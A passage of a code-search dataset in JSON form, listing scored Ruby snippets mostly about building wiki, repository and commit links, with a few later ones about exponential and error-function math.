link_to_project(p, {:only_path => only_path}, :class => 'project')\n end\n end\n elsif sep == ':'\n # removes the double quotes if any\n name = identifier.gsub(%r{^\"(.*)\"$}, \"\\\\1\")\n case prefix\n when 'document'\n if project && document = project.documents.visible.find_by_title(name)\n link = link_to h(document.title), {:only_path => only_path, :controller => 'documents', :action => 'show', :id => document},\n :class => 'document'\n end\n when 'version'\n if project && version = project.versions.visible.find_by_name(name)\n link = link_to h(version.name), {:only_path => only_path, :controller => 'versions', :action => 'show', :id => version},\n :class => 'version'\n end\n when 'forum'\n if project && board = project.boards.visible.find_by_name(name)\n link = link_to h(board.name), {:only_path => only_path, :controller => 'boards', :action => 'show', :id => board, :project_id => board.project},\n :class => 'board'\n end\n when 'news'\n if project && news = project.news.visible.find_by_title(name)\n link = link_to h(news.title), {:only_path => only_path, :controller => 'news', :action => 'show', :id => news},\n :class => 'news'\n end\n when 'commit', 'source', 'export'\n if project\n repository = nil\n if name =~ %r{^(([a-z0-9\\-_]+)\\|)(.+)$}\n repo_prefix, repo_identifier, name = $1, $2, $3\n repository = project.repositories.detect {|repo| repo.identifier == repo_identifier}\n else\n repository = project.repository\n end\n if prefix == 'commit'\n if repository && (changeset = Changeset.visible.where(\"repository_id = ? AND scmid LIKE ?\", repository.id, \"#{name}%\").first)\n link = link_to h(\"#{project_prefix}#{repo_prefix}#{name}\"), {:only_path => only_path, :controller => 'repositories', :action => 'revision', :id => project, :repository_id => repository.identifier_param, :rev => changeset.identifier},\n :class => 'changeset',\n :title => truncate_single_line(h(changeset.comments), :length => 100)\n end\n else\n if repository && User.current.allowed_to?(:browse_repository, project)\n name =~ %r{^[/\\\\]*(.*?)(@([^/\\\\@]+?))?(#(L\\d+))?$}\n path, rev, anchor = $1, $3, $5\n link = link_to h(\"#{project_prefix}#{prefix}:#{repo_prefix}#{name}\"), {:controller => 'repositories', :action => (prefix == 'export' ? 'raw' : 'entry'), :id => project, :repository_id => repository.identifier_param,\n :path => to_path_param(path),\n :rev => rev,\n :anchor => anchor},\n :class => (prefix == 'export' ? 'source download' : 'source')\n end\n end\n repo_prefix = nil\n end\n when 'attachment'\n attachments = options[:attachments] || (obj && obj.respond_to?(:attachments) ? obj.attachments : nil)\n if attachments && attachment = Attachment.latest_attach(attachments, name)\n link = link_to_attachment(attachment, :only_path => only_path, :download => true, :class => 'attachment')\n end\n when 'project'\n if p = Project.visible.where(\"identifier = :s OR LOWER(name) = :s\", :s => name.downcase).first\n link = link_to_project(p, {:only_path => only_path}, :class => 'project')\n end\n end\n end\n end\n (leading + (link || \"#{project_prefix}#{prefix}#{repo_prefix}#{sep}#{identifier}#{comment_suffix}\"))\n end\n end",
"title": ""
},
{
"docid": "221ecbb4f76cad372371e7647be798a0",
"score": "0.5643203",
"text": "def commits\n \n render\n end",
"title": ""
},
{
"docid": "202bbec390e41158dcfa487bf46adf96",
"score": "0.562141",
"text": "def follow_symlinks=(_arg0); end",
"title": ""
},
{
"docid": "2cb2429a2ae658886ba18009bad9bf6f",
"score": "0.5617378",
"text": "def changelog\n url = find_changelog_link\n return unless url\n\n full_url = BASE_URL + url\n\n if changelog_may_contain_anchor?(full_url)\n anchor = find_anchor(full_url)\n full_url += anchor if anchor\n end\n\n full_url\n end",
"title": ""
},
{
"docid": "0080e187e6b3ecde5c9e66cc0f776925",
"score": "0.5614765",
"text": "def link_to(*_)\n \"<a href='x'>X</a>\"\n end",
"title": ""
},
{
"docid": "89e3e74861ce3432bf5f13b326e862bf",
"score": "0.5600925",
"text": "def commits_on(*args); end",
"title": ""
},
{
"docid": "ffe819b9487716827741125712be2943",
"score": "0.5599019",
"text": "def authors_list_with_links\n case source.authors.length\n when 0\n return nil\n when 1\n return source.authors.first.blank? ? \"\" : link_to_author(source.authors.first)\n when 2\n #Catch cases where the second author is actually an editorial title, this is weirdly common.\n if source.authors.second.name =~ / editor| Editor| writer| Writer|Columnist/\n return link_to_author(source.authors.first)+ \" - \" + source.authors.second.name\n else\n return link_to_author(source.authors.first) + \" and \" + link_to_author(source.authors.second)\n end\n else\n list = String.new\n (0..(source.authors.length - 3)).each{ |i| list += link_to_author(source.authors[i]) + \", \" }\n list += link_to_author(source.authors[source.authors.length-2]) + \" and \" + link_to_author(source.authors[source.authors.length-1]) # last two authors get special formatting\n return list\n end \n end",
"title": ""
},
{
"docid": "db177728fa0aa6048242e00b6d34b2c9",
"score": "0.55956876",
"text": "def url_for_link( link )\n link_helper.url_for_link( find_project, :bulletin => find_bulletin, :link => link )\n end",
"title": ""
},
{
"docid": "623fe703fb09b8058bf2eef1732ab64b",
"score": "0.5591685",
"text": "def hyperlink; end",
"title": ""
},
{
"docid": "70a2d4964dfbd79f695fd8eaf3a65a8f",
"score": "0.5586478",
"text": "def line_uri\n branch.commit_uri.chomp(\"commit/$commit\")\n end",
"title": ""
},
{
"docid": "70a2d4964dfbd79f695fd8eaf3a65a8f",
"score": "0.5586478",
"text": "def line_uri\n branch.commit_uri.chomp(\"commit/$commit\")\n end",
"title": ""
},
{
"docid": "746815dc155edc99650ceb1b571705be",
"score": "0.5576685",
"text": "def links=(_arg0); end",
"title": ""
},
{
"docid": "746815dc155edc99650ceb1b571705be",
"score": "0.5576685",
"text": "def links=(_arg0); end",
"title": ""
},
{
"docid": "3e9b22a4dd1f3195189a4c723c571476",
"score": "0.55765307",
"text": "def mention_link_filter(text, base_url='/', commitid_pattern)\n self.class.mentioned_commits_in(text, commitid_pattern) do |match, commitid|\n link = link_to_mentioned_commit(commitid)\n link ? match.sub(\"#{commitid}\", link) : match\n end\n end",
"title": ""
},
{
"docid": "f13ad6201e0f9f4719b7148609b0193f",
"score": "0.5575842",
"text": "def action_insert_link_ref\n if @lines[-1] && @last_link_index\n @lines[-1] << '[%d]' % @last_link_index\n end\n end",
"title": ""
},
{
"docid": "66e09f00dd74f19dd20f8e2523fe403c",
"score": "0.55730444",
"text": "def create_links\n end",
"title": ""
},
{
"docid": "66e09f00dd74f19dd20f8e2523fe403c",
"score": "0.55730444",
"text": "def create_links\n end",
"title": ""
},
{
"docid": "ed342f78d08faf65a311fc64a28d96b1",
"score": "0.55631775",
"text": "def gh_user_repo_link(repo, opts={})\n repo_split = repo.split('/')\n repo_user = repo_split[0]\n repo_name = repo_split[1]\n\n \"#{gh_link repo_user} / #{gh_repo_link repo, :label => repo_name}\"\nend",
"title": ""
},
{
"docid": "1ede928c1ac2ea65a047182ea17350d0",
"score": "0.5548141",
"text": "def walk_by_commits\n walker = Rugged::Walker.new(@repo)\n walker.sorting(Rugged::SORT_REVERSE)\n walker.push(@repo.last_commit.oid)\n previous_commit = nil\n walker.each do |current_commit|\n # skip first commit\n previous_commit = current_commit if previous_commit.nil?\n next if previous_commit == current_commit\n yield(previous_commit, current_commit)\n previous_commit = current_commit\n end\n end",
"title": ""
},
{
"docid": "1ede928c1ac2ea65a047182ea17350d0",
"score": "0.5548141",
"text": "def walk_by_commits\n walker = Rugged::Walker.new(@repo)\n walker.sorting(Rugged::SORT_REVERSE)\n walker.push(@repo.last_commit.oid)\n previous_commit = nil\n walker.each do |current_commit|\n # skip first commit\n previous_commit = current_commit if previous_commit.nil?\n next if previous_commit == current_commit\n yield(previous_commit, current_commit)\n previous_commit = current_commit\n end\n end",
"title": ""
},
{
"docid": "194f5dd041eb8691168284223afbbcde",
"score": "0.5543176",
"text": "def url_for_link( link )\n link_helper.url_for_link( bulletin.project, :bulletin => bulletin, :link => link )\n end",
"title": ""
},
{
"docid": "c57c0d015512c0727ae5cb3ae4089501",
"score": "0.55324215",
"text": "def print_github_project_link(my_project_title)\n \"http://github.com/desiringgod/\" + my_project_title\n end",
"title": ""
},
{
"docid": "535c8b53d48a9977aa6da1a6f3087ce3",
"score": "0.5528742",
"text": "def github_url\n \"https://github.com/rails/rails/commit/#{sha1}\"\n end",
"title": ""
},
{
"docid": "3265482de744823766f8a62adb9711b5",
"score": "0.5527795",
"text": "def hyperlinks; end",
"title": ""
},
{
"docid": "3265482de744823766f8a62adb9711b5",
"score": "0.5527795",
"text": "def hyperlinks; end",
"title": ""
},
{
"docid": "6e9d1c1ee05ac66deb06afcae40ad569",
"score": "0.55237836",
"text": "def link_to(branch)\n url = \"#{@prefix}/#{branch}/index.html\"\n decoration = ''\n if branch == 'current' && @branches.length != 1\n decoration = \" [#{@current_branch}]\"\n end\n %(<a class=\"ulink\" href=\"#{url}\" target=\"_top\">#{@title}#{decoration}</a>)\n end",
"title": ""
},
{
"docid": "ca0216feafd65335bf35e20c34bcae59",
"score": "0.5520655",
"text": "def trip_part_change_links(trip,edit=false)\n if current_user.part_trip?(trip)\n links = part_change_links(trip.participations.find_by_trip_id(trip.id))\n else\n links = link_to 'Join', join_trip_path(trip) \n end\n if current_user.own_trip?(trip)\n if edit\n links += ' | ' + link_to('Edit', edit_trip_path(trip))\n end\n links += \" | \" + link_to('Delete', trip, :confirm => 'Are you sure you want to delete this trip?', :method => :delete)\n end\n return links\n end",
"title": ""
},
{
"docid": "ba4cbbf17fcf7393dacdbe44191933ff",
"score": "0.5512147",
"text": "def repo_string(commits, ref)\n short_ref = shorten_if_sha(ref)\n \"#{commits.owner.blue}\"\\\n \"/#{commits.repo.blue}\"\\\n \" @ #{short_ref.blue}\"\n end",
"title": ""
},
{
"docid": "6ba5699101e7529c47e615eb3853ff27",
"score": "0.55035204",
"text": "def author_menu_link\n formatted_method = format_method(__method__)\n $tracer.trace(formatted_method)\n\n return ToolTag.new(@tag.a.className(create_ats_regex_string(\"ats-forums-post-author-link\")).at(0), formatted_method, @browser)\n end",
"title": ""
},
{
"docid": "576cace7d0da9e372460e8a598f7c265",
"score": "0.54948246",
"text": "def author_menu_link\n formatted_method = format_method(__method__)\n $tracer.trace(formatted_method)\n\n return ToolTag.new(@tag.a.className(create_ats_regex_string(\"ats-forums-post-author-link\")), formatted_method, @browser)\n end",
"title": ""
},
{
"docid": "622243dc14e50813ca2e75e3ccc14c14",
"score": "0.54931456",
"text": "def render_references_url(args)\n return unless args[:document]&.references&.url\n link_to(\n args[:document].references.url.endpoint,\n args[:document].references.url.endpoint\n )\n end",
"title": ""
},
{
"docid": "e2ddbe2a8d9958c2e0a96d73257d1b13",
"score": "0.5488634",
"text": "def follow_symlinks; end",
"title": ""
},
{
"docid": "e68b008a8d1feb9550c559036c034089",
"score": "0.5488578",
"text": "def quote_reference(slug, via_text, opts = {}, &blk)\n reefer = find_reference(slug)\n opts[:class] = opts[:class].to_s + \" via reference\"\n via_str = '<div class=\"via-meta\">'\n via_str << %Q{#{link_to via_text, ref_url(reefer)}:}\n via_str << '</div>'\n buff = ActiveSupport::SafeBuffer.new\n txt = content_tag :div, opts do\n buff.safe_concat via_str\n buff.safe_concat \"<div class=\\\"body\\\">\"\n buff.safe_concat String(markdownify(capture(&blk)))\n buff.safe_concat \"</div>\"\n buff\n end\n\n concat txt\n end",
"title": ""
},
{
"docid": "e8cab0adfec11adf2d10c73238892dfe",
"score": "0.54753584",
"text": "def reference_link(reference, identifier)\n case reference\n when /^@/ then reference_user(identifier)\n when /^#/ then reference_issue(identifier)\n when /^!/ then reference_merge_request(identifier)\n when /^\\$/ then reference_snippet(identifier)\n when /^\\h/ then reference_commit(identifier)\n end\n end",
"title": ""
},
{
"docid": "416c32ed410237c54c47331aa5a9343b",
"score": "0.54689103",
"text": "def gh_repo_link(repo, opts={})\n opts[:class] = opts[:class] || 'repo'\n gh_link repo, opts\nend",
"title": ""
},
{
"docid": "7c1615c52423c5d1077b1ea813b5058a",
"score": "0.5468248",
"text": "def bitbucket_pull_request_url branch:, parent_branch:, repo:\n sha = recent_commit_shas(1).join('')[0, 12] # TODO: update to have the branch as an argument\n source = CGI.escape \"#{repo}:#{sha}:#{branch}\"\n dest = CGI.escape \"#{repo}::#{parent_branch}\"\n \"https://bitbucket.org/#{repo}/pull-request/new?dest=#{dest}&source=#{source}\"\nend",
"title": ""
},
{
"docid": "46200f989c6897eec9593c247d79db13",
"score": "0.5467184",
"text": "def link_to (link, site) #This sets up the dual arguments of the site and the link\n \"Assignment 1 = <a href='#{site}'>#{link}</a>\" #this forumla set up how it should output the arguments\nend",
"title": ""
},
{
"docid": "ff93813898c7b881758022d7535884b6",
"score": "0.5465889",
"text": "def prepare_links!(*args)\n links_def = find_links_definition or return\n \n links_def.rel2block.each do |config| # config is [{..}, block]\n options = config.first\n options[:href] = run_link_block(config.last, *args) or next\n \n links.update_link(Feature::Hypermedia::Hyperlink.new(options))\n end\n end",
"title": ""
},
{
"docid": "d0019974bf968e071f65dd5d01052518",
"score": "0.5455548",
"text": "def fix_relative_link(text)\n title, link = text.scan(/\\[(.+?)\\]\\((.+?)\\)/m).flatten\n return text if link.match?(/^https?:/)\n\n current_path = File.dirname(chapter.out_path.sub('../', '')).split('/').grep_v(/^\\.$/)\n link_path = link.split('/').tap { _1.unshift(nil) until _1.length >= current_path.length }\n\n link_path.zip(current_path)\n .drop_while { _1 == _2 }\n .transpose\n .then { |lnk, cur| '../' * cur.compact.length + lnk.compact.join('/') }\n .then { \"[#{title}](#{_1})\"}\n # .tap {\n # if chapter.out_path.include?('keywords.md') && link.include?('exceptions.md')\n # p [current_path, link_path, _1]\n # exit\n # end\n # }\n end",
"title": ""
},
{
"docid": "616a65b9275ba0bc5232b92713a24a7c",
"score": "0.5452167",
"text": "def each_commit\n #commits_count = walker.count\n walker.each_with_index do |commit, index|\n # Format time as \"2016-12-31\"\n # puts \"#{index}/#{commits_count} for #{commit.time.strftime('%F')}\"\n yield commit\n end\n end",
"title": ""
},
{
"docid": "9aea1603f23ba722b46bf40ee1765031",
"score": "0.5451054",
"text": "def gen_repo_url(file_colon_line)\n file, none, line = file_colon_line.rpartition(\":\")\n url = conf[:git_repo_url].dup\n url << \"/blob/\"\n url << GIT_HASH == :unknown ? conf(:git_repo_default_branch) : GIT_HASH\n url << \"/\" << file\n url = URI.encode(url)\n url << '#L' << line\n return url\n end",
"title": ""
},
{
"docid": "fef14a36bfc560b1b5d7c099687e401e",
"score": "0.5437869",
"text": "def to_links\n [\n to_elements(@parents) {|page| \"<nav><a href='#{to_up_nav_link(page)}'>#{page.page_title}</a></nav>\"},\n to_elements(@nav_links) {|nav| \"<nav><a href='#{to_sub_nav_link(nav)}'>#{nav}</a></nav>\"}\n ].join(\"\\n\").strip\n end",
"title": ""
},
{
"docid": "b3d8448f88b510b606f55b1b7c10b1f9",
"score": "0.54368955",
"text": "def refs_auto_link(text)\r\n @rails_helper.auto_link(text)\r\n text.gsub!(AUTO_LINK_RE) do\r\n all, a, b, c, d = $&, $1, $2, $3, $5\r\n if a =~ /<a\\s/i # don't replace URL's that are already linked\r\n all\r\n else\r\n text = b + c\r\n %(#{a}<a href=\"#{b==\"www.\"?\"http://www.\":b}#{c}\">#{text}</a>#{d})\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "cde6e30ca745d67f161489eb25e14dd7",
"score": "0.54318047",
"text": "def link_to(branch)\n url = \"#{@prefix}/#{branch}/index.html\"\n decoration = ''\n if branch == 'current' && @branches.length != 1\n decoration = \" [#{@current_branch}]\"\n end\n %(<a href=\"#{url}\" class=\"ulink\" target=\"_top\">#{@title}#{decoration}</a>)\n end",
"title": ""
},
{
"docid": "c0675c672c903895e4ea67d589a7630a",
"score": "0.5426306",
"text": "def find_reference_links\n v = Version.latest_version\n v.doc_versions.each do |dv|\n f = dv.doc_file\n doc = dv.doc\n name = f.name\n\n matches = doc.plain.scan(/linkgit:(.*?)\\[(\\d)\\]/)\n\n m = {}\n matches.each do |command, number|\n m[command] ||= 0\n m[command] += 1\n end\n related = m.sort { |a, b| b[1] <=> a[1] }[0, 5]\n\n related.each do |command, score|\n next if command == name\n if rdv = DocVersion.latest_for(command)\n puts \"linking #{name} with #{command}\"\n from = ['reference', name, name, \"/docs/#{name}\", score]\n to = ['reference', command, command, \"/docs/#{command}\", score]\n create_related_item(from, to)\n end\n end\n end\nend",
"title": ""
},
{
"docid": "0b36eeecee4145f4f7f9c44ba519c5a4",
"score": "0.5420743",
"text": "def references_url(args)\n args[:document][args[:field]].each_with_index do |reference, i|\n if (url = reference[/ (http.*)$/])\n reference = reference.chomp(url)\n args[:document][args[:field]][i] = link_to(reference, url.gsub(/\\s/, ''), target: '_blank')\n end\n end\n end",
"title": ""
},
{
"docid": "8650ea98a7596f65ee739ecbd2c8b649",
"score": "0.5420698",
"text": "def generate_changelog(number, title, author)\n [\n '*',\n \"[##{number}](#{get_pull_request_url(number)})\",\n title,\n \"([@#{author}](https://github.com/#{author}))\"\n ].join(' ')\n end",
"title": ""
},
{
"docid": "2183fb91da68195ca9a052152e84d108",
"score": "0.5416538",
"text": "def commits_between from, to\n if $long\n `git log --pretty=format:\"- %s [#{yellow \"%h\"}] (#{purple \"%ae\"}; %ar)\" #{from}..#{to}`\n else\n `git log --pretty=format:\"- %s [#{yellow \"%h\"}]\" #{from}..#{to}`\n end.split(/[\\r\\n]+/)\nend",
"title": ""
},
{
"docid": "b3ef441655975e8fd1ab031e44c47908",
"score": "0.54130083",
"text": "def generate_link\n return %Q{<a href=\"/posts/#{@id}\">#{@title}</a>}.html_safe\n end",
"title": ""
},
{
"docid": "bd421c780faaee94454abed34ae6e8d8",
"score": "0.54065853",
"text": "def format_links(links_blob, key)\n links = \"\"\n crlf = \"\\r\\n\"\n link_line = links_blob.squeeze(\" \").split(crlf)\n link_line.each do |this_link|\n link_url = this_link.split(' ',2)\n # was the leading http:// left out? If so, add it back in\n if link_url[0] && !/^http:\\/\\//i.match(link_url[0])\n link_url[0] = 'http://' + link_url[0]\n end\n # if there's a description, then link to it\n if link_url[1] && link_url[1] != \"\"\n links += link_to link_url[1], link_url[0] \n links += '<br>'\n elsif link_url[0] # skip if there was a blank line\n links += format_url link_url[0], \"\"\n links += '<br>'\n end\n end\n return links\n end",
"title": ""
},
{
"docid": "40118209b17e4e91571550c91667a3a9",
"score": "0.54012793",
"text": "def link_to(*args,&block)\n if block_given?\n concat(super(capture(&block), *args))\n else\n super(*args)\n end\n end",
"title": ""
},
{
"docid": "7117b8e3b36e88ca500ba549195c3ede",
"score": "0.54010093",
"text": "def link_bylines(bylines, links)\n bylines.map do |byline|\n if !!links && byline.user.try(:is_public)\n link_to byline.display_name, byline.user.public_path\n else\n byline.display_name\n end\n end\n end",
"title": ""
},
{
"docid": "b889d8a669a88812624555ad482d2035",
"score": "0.53966737",
"text": "def reading_nav_link(reading)\n title = link_to(apostrophize(reading[:title]), reading.path, :class => 'chrono-reading-link')\n author = apostrophize(reading[:author])\n date = reading[:created_at].strftime('%b %-d')\n \"#{title}<br/> <span class='chrono-author'>#{author}</span> &\\#8211; <span class='chrono-date'>#{date}</span>\"\nend",
"title": ""
},
{
"docid": "679a8e558a366f938fc7d74542a8d4df",
"score": "0.53961104",
"text": "def commits\n end",
"title": ""
},
{
"docid": "19602e059bcb970916ef1328b5fd2c72",
"score": "0.5392942",
"text": "def wikiLinks!(lines)\n\tnewlines = \"\"\n\tignore_lines = false\n\n\tlines.each do |line|\n\t\tif ignore_lines || line =~ /<pre>.*?<\\/pre>/ # inside <pre> or this line includes complete pre\n\t\telsif line =~ /<pre>/ # found <pre>, ignore this line and the following\n\t\t\tignore_lines = true\n\t\telsif line =~ /<\\/pre>/ # found </pre>, ignore this line and stop ignoring\n\t\t\tignore_lines = false\n\t\telse # process links\n\t\t\tline.gsub!(/\\[+(.*?)\\]+/) do |match|\n\t\t\t\tpart1, part2 = $1.split('|')\n\t\t\t\tpart1.strip! if part1\n\t\t\t\tpart2.strip! if part2\n\n\t\t\t\tif part1 =~ /https?:\\/\\// # format 1. 2.\n\t\t\t\t\tlink = part1\n\t\t\t\t\ttitle = part2 ? part2 : part1\n\t\t\t\telse # format 3. 4.\n\t\t\t\t\ttitle = part1\n\t\t\t\t\tlink = part2 ? part2 : part1\n\t\t\t\t\tlink = link + \".html\"\n\t\t\t\tend\n\t\t\t\t\"\\\"#{title}\\\":#{URI.escape(link)}\"\n\t\t\tend\n\t\tend\n\t\tnewlines << line\n\tend\n\tnewlines\nend",
"title": ""
},
{
"docid": "e6c3fa31e4e23309af241684cac0a60e",
"score": "0.5390861",
"text": "def github_compare_url(repo_url, first_commit, last_commit)\n url = repo_url.clone\n url.gsub!(/git@/, 'https://')\n url.gsub!(/github\\.com:/,'github.com/')\n url.gsub!(/\\.git/, '')\n \"#{url}/compare/#{first_commit}...#{last_commit}\"\n end",
"title": ""
},
{
"docid": "d5635909015514ef4a3cbe80b922b481",
"score": "0.53837335",
"text": "def between(repo, base, head)\n repo.commits_between(base, head).map do |commit|\n decorate(commit)\n end\n end",
"title": ""
},
{
"docid": "ee59c6081e6c4a2d0525214da55b465c",
"score": "0.5383082",
"text": "def little_links(littles)\n result = []\n littles.each do | little |\n result << link_to(little.brother.full_name , \"#{brothers_path}/#{little.brother_id}\")\n end\n return result.join(', ').html_safe\n end",
"title": ""
},
{
"docid": "784e15dbb9d66e0ad3c75dec38e6c977",
"score": "0.5379097",
"text": "def commits_between from, to\n if $long\n `git log --pretty=format:\"- %s [%h] (%ae; %ar)\" #{from}..#{to}`\n else\n `git log --pretty=format:\"- %s [%h]\" #{from}..#{to}`\n end.split(/[\\r\\n]+/)\nend",
"title": ""
},
{
"docid": "b0e64feb73915942fb1f19eb450bf66e",
"score": "0.53786576",
"text": "def grow_link(ctrl, route_part, arg_defs)\n own_link = escape(route_part[:route], '\\/:') << route_part[:args].map do |k, v|\n arg_defs[k][:arg].default == v ? '' : \":#{escape(k, '\\/:-')}-#{escape(v, '\\/:')}\"\n end.join\n \"#{ctrl.link == '/' ? '' : ctrl.link}/#{own_link}\"\n end",
"title": ""
},
{
"docid": "f21e37b75c5211b3be0bb435b9306357",
"score": "0.53657335",
"text": "def album_breadcrumbs(entry)\r\n return '' unless entry.is_a?(Content)\r\n separator = ' > ' \r\n return '' if entry.is_a?(Board) # Announcements aren't in showcase\r\n return nil unless entry.respond_to?(:albums)\r\n return link_to(\"In %s's Blog\" / [entry.user.login], :controller => 'blog', :action => 'index', :id => entry.user) if entry.is_a?(Blog)\r\n return \"#{link_to('Submitted by friends of'.t, {:controller => 'user', :action => 'inboxes', :id => entry.user})} #{user_link(entry.user, :icon => true)}\" if entry.is_a?(Inbox)\r\n return [user_link(entry.user, :title => \"Main ((page))\".t), \"Contests\".t].join(separator) if entry.is_a?(MusicContest)\r\n return [user_link(entry.user, :title => \"Main ((page))\".t), \"Contests\".t, content_link(entry.container_album, :length => 30)].join(separator) if entry.music_contest_item?\r\n return user_link(entry.user, :title => 'In %s' / entry.user.display_name) if entry.is_a?(ProjectAsContent)\r\n this = entry.albums.find_by_id(params[:album_id]) if params[:album_id]\r\n if this && this.featured_album?\r\n return [user_link(entry.user, :title => \"Main ((page))\".t), \"Featured Content\".t].join(separator) \r\n end\r\n \r\n txt = []\r\n this ||= entry.albums.to_a.reject {|a| a.featured_album?}.first\r\n while this\r\n str = content_link(this, :length => 30)\r\n str += \" (#{'Downloadable'.t})\" if this.downloadable? && !this.is_a?(MusicContest)\r\n txt << str\r\n this = this.albums.first\r\n this = nil if this && this.featured_album?\r\n end\r\n\r\n anchor = \"In %s's Content\" / [entry.is_a?(User) ? entry.login : entry.user.login]\r\n id = entry.is_a?(User) ? entry.id : entry.user.id\r\n\r\n txt << (logged_in? ? link_to(anchor, {:controller => '/user',\r\n :action => 'gallery', :id => id}) : anchor)\r\n\r\n return txt.reverse.join(separator)\r\n end",
"title": ""
},
{
"docid": "7763ce0eb331eda8b212cf1b577e82ce",
"score": "0.5361081",
"text": "def extended_links!\n l = (links | links_of_repos).uniq\n l.sort_by(&:published_at).reverse\n end",
"title": ""
},
{
"docid": "35324fd9e4c021207795d43e37566b9b",
"score": "0.5360651",
"text": "def yui_button_link(args)\n link, text = args[:link], args[:text]\n result = \"<span class=\\\"yui-button yui-link-button\\\"><span class=\\\"first-child\\\">\"\n unless link.nil?\n result += \"<a href=\\\"#{link}\\\">#{text}</a>\"\n else\n result += \"<a onclick=\\\"#{args[:onclick]}\\\">#{text}</a>\"\n end \n result += \"</span></span>\"\n return result\n end",
"title": ""
},
{
"docid": "4fc6ca736b88cb0ae1f7f15ccd7e9eef",
"score": "0.53591746",
"text": "def format_text(text)\n text = h(text)\n text = nl2br(text)\n text = auto_link_tasks(text)\n text = auto_link_commits(text)\n auto_link(text, :all, :target => \"_blank\")\n end",
"title": ""
},
{
"docid": "172b41143a7cfb2bc6a4bb2d8cef33db",
"score": "0.5351046",
"text": "def walk_commits(start, &block)\n repository = start.repository\n rugged = rugged_repository(repository)\n walker = Rugged::Walker.new(rugged)\n walker.push(start.id)\n walker.sorting(Rugged::SORT_TOPO | Rugged::SORT_DATE | Rugged::SORT_REVERSE)\n walker.map(&block)\n end",
"title": ""
}
] |
09489de536a279fcdcdd9e4d1d0ffb67 | e^x taking into account the error thus far (I think) gsl_sf_exp_err_e | [
{
"docid": "1ac4e785d88aa30456cc91bcf676d50c",
"score": "0.65788114",
"text": "def exp_err(x, dx)\n adx = dx.abs\n raise(\"Overflow Error in exp_err: x + adx > LOG_FLOAT_MAX\") if x + adx > LOG_FLOAT_MAX\n raise(\"Underflow Error in exp_err: x - adx < LOG_FLOAT_MIN\") if x - adx < LOG_FLOAT_MIN\n [Math.exp(x), Math.exp(x) * [Float::EPSILON, Math.exp(adx) - 1.0/Math.exp(adx)] + 2.0 * Float::EPSILON * Math.exp(x).abs]\n end",
"title": ""
}
] | [
{
"docid": "371433e43592f8aa3359aa05dbff5088",
"score": "0.6317",
"text": "def erfc_e(x, with_error = false)\n Erfc.evaluate(x, with_error)\n end",
"title": ""
},
{
"docid": "c0db09f6764785a014b758650db14328",
"score": "0.61507773",
"text": "def exp(v); Math.exp(v); end",
"title": ""
},
{
"docid": "2f6bac945d65dc8c3de9b149b6eca36b",
"score": "0.599252",
"text": "def propagation_fn(x) 1/(1+Math.exp(-x)) end",
"title": ""
},
{
"docid": "4623e34939f855b661013cffb3084cbe",
"score": "0.59912854",
"text": "def power_sig_exp(b, x)\n l10 = x / Math.log(10, b)\n log10_sig_exp(l10)\nend",
"title": ""
},
{
"docid": "a40a1013fe7c410164a5c75fdbd310f3",
"score": "0.5898911",
"text": "def se_estimate\n Math::sqrt(sse.quo(df_e))\n end",
"title": ""
},
{
"docid": "3090cfe1a10ccf34545b91dfffb7a3ca",
"score": "0.5867036",
"text": "def exponent\n e = @exp\n digs = @digits\n unless digs == 0\n e += digs.__decimal_digits_length_approx(false)\n end\n e\n end",
"title": ""
},
{
"docid": "97cf0bf8775b6313cd56eb4b66012e2d",
"score": "0.5841395",
"text": "def mean_flow_velocity_over_x_gsl_vector(options)\n Dir.chdir(@directory) do\n raise CRFatal.new(\"Need to have g_exb > 0 to have a mean flow.\") unless @g_exb\n x = gsl_vector(:x)\n\n vec_exb_vel = GSL::Vector.alloc(x.size)\n #Take imaginary part since i k_x will lead to imaginary part being real\n vec_exb_vel = (x - x[x.size/2])*@g_exb\n return vec_exb_vel\n end\n end",
"title": ""
},
{
"docid": "08ff34c7c3a6b2ddeb7432601a25d9e1",
"score": "0.58097947",
"text": "def expf(f)\n typedecl f: Float, foreign: Float\n Math.exp(f)\n end",
"title": ""
},
{
"docid": "41e6d46b7e1631d7222ea211caab5fc7",
"score": "0.5809291",
"text": "def exp_error(text, exp = 2)\n exp_error = 0.0\n (0..255).each do |ascii|\n observed = (text.scan(ascii.chr.downcase).size.to_f / text.size)\n\n exp_error += ((observed - @lookup[ascii]).abs ** exp) / @lookup[ascii]\n end\n\n return exp_error\n end",
"title": ""
},
{
"docid": "3af0cad3edd7c166796513e786a7b2a9",
"score": "0.5757435",
"text": "def gamma_sig_exp(x)\n l10 = Math.lgamma(x).first/Math.log(10)\n log10_sig_exp(l10)\nend",
"title": ""
},
{
"docid": "e2fb711b56fb251eacb951017dc42bbd",
"score": "0.5753041",
"text": "def float_from_integral_significand_exponent(s,e)\n Float.context.Num(s,e)\nend",
"title": ""
},
{
"docid": "73fe6ca3cb43c704de47787f0fbcc893",
"score": "0.5705882",
"text": "def exponent; end",
"title": ""
},
{
"docid": "f8e9b495f72cf46c83eb7e7ad8795fd1",
"score": "0.56894416",
"text": "def exponent\n return @exp\n end",
"title": ""
},
{
"docid": "6b71f0d26c7c7671b80af8dab8d3acd3",
"score": "0.5657357",
"text": "def exponential(value1)\n result = Math.exp(value1)\n puts \"The result is #{ result }\"\nend",
"title": ""
},
{
"docid": "c3144f1223833c146936430a78c4fa3d",
"score": "0.5652504",
"text": "def fit_exponential(xs, ys)\n a, b, rr = fit(xs, ys, tran_y: ->(y) { Math.log(y) })\n\n [Math.exp(a), Math.exp(b), rr]\n end",
"title": ""
},
{
"docid": "79f1ed1340e971023dc501b7b2fdb342",
"score": "0.564158",
"text": "def exponential_function\n num_1 ** num_2\n return num_1 ** num_2\nend",
"title": ""
},
{
"docid": "0339dbbe6b38f42e9eb6c11fa2f1ec57",
"score": "0.56110454",
"text": "def exp\n Double.new(Math.exp(self.to_f))\n end",
"title": ""
},
{
"docid": "8e343f95daa503dee83cd60d2a8c42b6",
"score": "0.5554926",
